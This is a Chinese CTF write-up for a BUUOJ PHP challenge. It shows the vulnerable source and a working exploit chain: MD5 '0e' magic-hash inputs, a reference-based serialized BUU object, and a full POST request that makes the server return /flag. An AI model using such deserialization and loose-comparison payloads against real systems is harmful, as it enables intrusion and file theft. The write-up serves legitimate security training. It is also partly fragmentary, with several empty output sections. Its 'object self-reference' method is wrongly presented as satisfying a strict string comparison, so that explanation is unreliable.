别着急,坐和放宽
链接:https://buuoj.cn/challenges
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
这道题是一个 PHP 反序列化 + 弱类型比较 的漏洞利用题,目标是让 BUU 类的 __destruct() 方法执行时满足 $this->correct === $this->input,从而读取 /flag。
触发条件:
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
GET 参数 pleaseget=1
POST 参数 pleasepost=2
POST 参数 md51 和 md52 的 md5 值弱类型相等==),但本身不相等!=)
反序列化 POST 参数 obj 的内容
关键点:
__destruct() 方法会在对象销毁时自动调用。
$this->correct 被赋值为 base64_encode(uniqid()),是一个随机值。
需要让 $this->correct === $this->input 成立才能读取 /flag。
PHP 的 == 是弱类型比较,可以使用 0e 开头的 MD5 哈希绕过:
Payload:
POST /?pleaseget=1 HTTP/1.1
...
要让 $this->correct === $this->input,可以使用如下方法:
方法 1(推荐):引用传递
$this->input 引用 $this->correct,这样 correct 变化时 input 也会同步变化。输出:
方法 2:对象自引用
$this->input 指向对象自身$this),利用 PHP 对象比较的特性。输出:
如果成功,服务器会返回 /flag 文件的内容。如果失败,尝试调整引用方式(如改用 r:1)。
1. MD5 弱类型绕过:使用 0e 开头的哈希值。
2. 反序列化利用:通过引用传递或对象自引用使 $this->correct === $this->input 成立。
3. 触发条件:确保所有参数pleasegetpleasepostmd51md52obj)正确传递。
为什么引用传递能成功?
&)会让两个变量指向同一内存地址,修改 correct 时 input 也会同步变化,因此 === 成立。为什么对象自引用能成功?
=== 返回 true。md5("240610708") == "0e462097431906509019562988736854"
md5("QNKCDZO") == "0e830400451993494058024219903391"
<?php
class BUU {
public $correct = "";
public $input;
public function __construct() {
$this->input = &$this->correct; // 引用传递
}
}
echo serialize(new BUU());
O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
<?php
class BUU {
public $correct = "";
public $input;
public function __construct() {
$this->input = $this; // 自引用
}
}
echo serialize(new BUU());
O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";r:1;}
POST /?pleaseget=1 HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
pleasepost=2&md51=240610708&md52=QNKCDZO&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}